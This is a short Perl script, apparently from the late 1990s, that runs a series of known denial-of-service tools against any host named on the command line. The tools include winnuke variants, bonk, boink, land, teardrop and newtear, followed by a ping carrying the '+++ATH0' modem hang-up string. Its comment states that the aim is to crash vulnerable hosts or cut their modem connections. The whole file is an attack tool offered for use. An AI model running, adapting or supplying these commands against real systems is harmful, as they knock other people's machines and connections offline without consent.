#!/usr/bin/perl
#
# Author: Peter Keel <killer@discordia.ch>
# Sends some arbitrary packets to an unsuspecting (and probably defective)
# host. If the host is defective, it will crash, if the modem is defective,
# it will hang up. Such is the way of evolution on the internet. 
#

die "Usage: $0 <hostname> \n" unless($ARGV[0]);

$port=53;

chop ( $PWD = `pwd`);
$base_dir = $PWD;

foreach $host_name (@ARGV)
    {
        system ("winping $host_name");
        system ("winbomb $host_name $host_name");
	system ("winbomb $host_name $host_name 10");
        system ("winkill $host_name $port Windows-sucks");
        system ("bonk $host_name $host_name 10");
        system ("boink $host_name $host_name 1 1024 10");
        system ("land $host_name $port");
        system ("teardrop $host_name $host_name -s $port -t $port -n 10");
        system ("newtear $host_name $host_name -s $port -t $port -n 10");
	system ("ping -p 2b2b2b415448300d $host_name");
    }